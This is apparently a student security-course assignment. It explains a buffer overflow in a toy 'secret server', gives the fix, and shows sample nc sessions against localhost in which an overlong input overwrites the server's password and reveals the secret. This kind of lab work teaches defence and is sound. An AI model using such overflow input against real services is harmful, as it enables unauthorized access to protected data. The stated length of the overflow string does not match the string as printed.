Assignment 1
CPSC 526 Fall 2017
October 1, 2017

Mason Lieu	Shane Sims
ID: 10110089	ID: 00300601
Tutorial 04	Tutorial 04
mlieu@ucalgary.ca	shane.sims@ucalgary.ca

Task 1 - Exploit the vulnerability

The vulnerability can be found in the readLineFromFd function where it reads from the socket into the provided buffer. Since this function does not check the size of the input, the vulnerability can be exploited by a client by providing an input greater than 32 bytes to overflow the buffer into the memory space of the password. This effectively overwrites the server's password with the overflowed bytes. The next time the client connects to the server, the client can input the overflowed bytes for the password to force the server to reveal its secret.

Task 2 - Fix the vulnerability

The vulnerability can be removed from the readLineFromFd function by reading from the socket an amount equal to the size of the buffer. This ensures that a buffer overflow does not take place and the server's data is protected from this exploit.

How to compile and run our patch

Our patched server is compiled and run the same as the original server.

Sample exploit of the original server

Server side

```
1  Masons-MacBook-Pro:a1 MasonL$ ./secretServer 1234 pass 'My favourite number is 42.'
2  Waiting for a new connection...
3  Talking to someone.
4  Someone used an incorrect password.
5  Waiting for a new connection...
6  Talking to someone.
7  Someone used an incorrect password.
8  Waiting for a new connection...
9  Talking to someone.
10 Someone used the correct password.
11 Waiting for a new connection...
```

Client side

```
1  Masons-MacBook-Pro:a1 MasonL$ nc localhost 1234
2  Secret Server 1.0
3  NEWPASS
4  I am not talking to you, bye!
5  Masons-MacBook-Pro:a1 MasonL$ nc localhost 1234
6  Secret Server 1.0
7  1111111111222222222233333333344NEWPASS
8  I am not talking to you, bye!
9  Masons-MacBook-Pro:a1 MasonL$ nc localhost 1234
10 Secret Server 1.0
11 NEWPASS
12 The secret is: My favourite number is 42.
```

Server side explanation

- Line 1 shows the initialization of the server with the password = 'pass' and the secret. The rest of the lines are the server's response to the client.

Client side explanation

- Lines 1-4 is a test with the password = 'NEWPASS' chosen by the attacker; since the attacker does not know the real password this does not reveal the secret.
- Lines 5-8 show the attacker using a 39 character string to overflow the buffer using the string '1111111111222222222233333333344NEWPASS'. The substring 'NEWPASS' are bytes 32-38 and these bytes are overwritten into the memory space of the server's password.
- Lines 9-12 show the attacker using the same password = 'NEWPASS', however since the buffer overflow caused the server's password to be overwritten with the attacker's password, this forces the server to reveal the password to the attacker.